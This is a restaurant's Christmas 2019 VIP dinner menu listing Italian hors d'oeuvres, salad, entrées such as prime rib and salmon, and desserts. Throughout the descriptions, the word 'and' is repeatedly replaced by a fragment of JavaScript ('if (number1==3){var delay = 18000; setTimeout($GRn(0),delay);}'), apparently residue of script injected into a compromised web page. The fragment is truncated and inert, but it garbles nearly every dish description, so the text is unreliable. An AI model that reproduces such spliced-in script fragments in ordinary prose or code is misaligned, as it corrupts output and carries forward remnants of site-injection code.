VIP Experience Christmas 2019 Dinner

HORS D’OEUVRES

Passed on silver trays

CROSTINI MISTI DI MARE

Toasted baguette served with assorted toppings: smoked salmon, grilled prawn with goat cheese, red onions, seared Ahi Tuna; fresh horseradish dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and caper garnish

PROSCIUTO AI DUE MELONE
Fresh melon pieces wrapped with prosciutto

FUNGHI CON MORTADELLA
Baked mushroom caps stuffed with mortadella, mozzarella, parmesan garlic, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and chopped parsley

VOL AU VENT DI POLENTA CON GORGONZOLA
Polenta baskets stuffed with gorgonzola, walnuts dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and truffled honey

DINNER SERVICE

Served with Il Fornaio Fresh Baked Breads & Olive Oil & Balsamic Vinegar

INSALATE

INSALATA CESARINA
Romaine lettuce, focaccia croutons, shaved Parmesan; Caesar Dressing

ENTREE

Choice from two (2) of the following. The vegetarian entrée is always the 3rd option. Entree counts needed 1 week in advance.

POLLO VALDOSTANA
De-boned dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and pounded chicken breast, rolled with thinly sliced ham dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fontina cheese; dipped in breadcrumbs, cooked dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and finished with chicken demi-glace, Trebbiano wine, fried sage leaves, Dijon; served with seasonal vegetables dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mashed potatoes

BAKED PRIME RIB OF BEEF
Medium Rare; Au Jus with Creamed Horseradish Sauce; Served with seasonal vegetables dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mashed potatoes

SALMONE ALLA GRIGLIA
Grilled local salmon with extra virgin olive oil dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and lemon sauce, served with seasonal vegetables dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and roasted potatoes

RISOTTO CON ZUCCA
Italian Carnaroli rice with butternut squash, sage, white wine, shallots dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and parmesan

DOLCI

Select one dessert to serve all guests.

TIRAMISU
Lady fingers, rum, zabaglione dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mascarpone cheese, espresso, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cocoa powder

TORTA DI CIOCCOLATO
Rick chocolate cake

TORTA DI FORMAGGIO
Rich cheesecake (choice of lemon, raspberry, espresso, or chocolate)

DOLCI DI NATALE
Elegant display of Holiday Desserts ($5 upgrade)

TEA AND COFFEE SERVICE

Served with Il Fornaio Oak Roasted Coffee dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mighty Leaf Tea Service